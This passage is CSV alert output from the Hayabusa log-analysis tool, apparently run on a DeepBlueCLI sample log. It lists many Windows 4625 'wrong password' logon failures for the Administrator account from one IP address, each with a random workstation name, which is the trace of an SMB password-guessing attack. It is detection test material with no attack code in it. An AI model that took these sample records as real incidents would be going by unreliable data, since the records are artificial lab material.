NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.237 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SYJheREJmEwj0791 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.277 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: exglD9fnLwaqwRZn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.325 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8bSAU1QjasDAsmry : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.363 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cfnrtXR7evQBbaOw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.410 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KYAwjW99chcntPsQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.464 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rG2PYfOTfT7QvbPu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.508 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FojDtfDNXq0gQfYu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.549 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SUTT0QycbFtyJfNL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.596 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gcbv1lrcYdT9Wuli : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.636 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pjdFfvCCfGXo7FUf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.697 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rzqGdWlGglLQx6Z4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.749 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V3Rt80PMk70sVqbk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.795 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: okunzcEHnxUml4SG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.842 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qH0AY3DeIryuHSiN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.886 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DjqtxY5Fly4qAusS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.935 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PXHYu7wAqo7m6mZn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.990 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UaEM3boErBRrCbna : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.040 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7nSzwstH2imPjwah : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.153 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9Z6NM0I4vRTXlLKu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.193 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jYhjN3f8KlFIEUKy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.232 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qWicYt2HXLDgc3kc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.269 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Uz7yqqxdMrsM2L1g : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.308 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wqKTguT2Z3OPCxGR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.352 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ywpwCM4u6nFSq9oS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.407 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: k1t5ZBw3HOxux65e : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.534 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MtLFQSltjjOjdl2c : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.593 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AyFD3cjef0NUMZZ5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.656 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uDYECnF1YTKRKA3K : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.700 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pfqxcIVpX9BbsPIM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.745 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mjL5hvyYesMfDISw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.774 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3bh8c5ohv55SAX26 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.817 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MflfcFDnGU3xUOmz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.859 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aX0wfTs5FzCdwGrR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.895 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9gdU6faDjEH5wW2X : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.929 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 507PC8xD6l0TbhG3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.973 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VrWgYcf9EuXt4MHS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.088 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GvIGEw3fdX9cDzIV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.159 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9X1q0dT5irWa44Rz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.307 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZpgAkElSQjVo53z2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.410 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7nxUEwRMaiAhiIXv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.453 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vIoaysmFNfEerv8f : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.528 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aHLhFgL0xfnrAIoF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.619 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YGK96B1hDPMK9YKh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.704 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yhDnNRDnAwctVtgQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.793 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8zzO7RKaBPpg549A : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.859 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zDgDGO3IKiLoIQ5D : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.024 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0aaYeBTUEudC3446 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.093 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I41H8U06uuGlMf9S : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.170 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: r6Eh55149gbuU2el : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.248 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ajzJabQi7CjosFQ1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.290 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: l9y7gyU9aJi6Fpm3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.361 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hbLiIVcBYlu5JkX2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.424 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bDfEfHk54J3lJI6m : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.496 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WOpuMTECalyeObl7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.537 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nZQYU1dyQOqlNJDL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.577 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pc58gDT07WNH3mMz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.624 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EhExnDfInKbEI6AO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.710 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qKKTTQ0ZT2Ye4TV9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.772 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LdBFYyftnH67Gyh5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.812 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eO6c2PDl7zVBGzPi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.848 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1ONnDOs16EnBkdFv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.897 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aTHHCX9EoKRY4zhR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.939 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: f1jhH08oLzpONDpa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.976 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: o2YK7zc7Ne9c8txA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.013 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 86CrOo9CFreIzSM5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.056 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0X9UEojEnc350xPc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.096 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9g3PO3jofnySl92G : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.176 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5TRndfQmPYuhV0Ri : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.204 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yyJOdaks4B1sKMDv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.252 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IB3OSmcFx5TUiiJX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.309 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lo3Ex40dkIeO53HF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.352 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AkzDG8QOM2cxbokF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.395 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YoMf36ZXJBLnYxtc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.436 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5izPIefHqDDWNDlu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.476 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: z9o4f1XvvcVXBNwL : IP Address: 192.168.198.149 : AuthPackage: 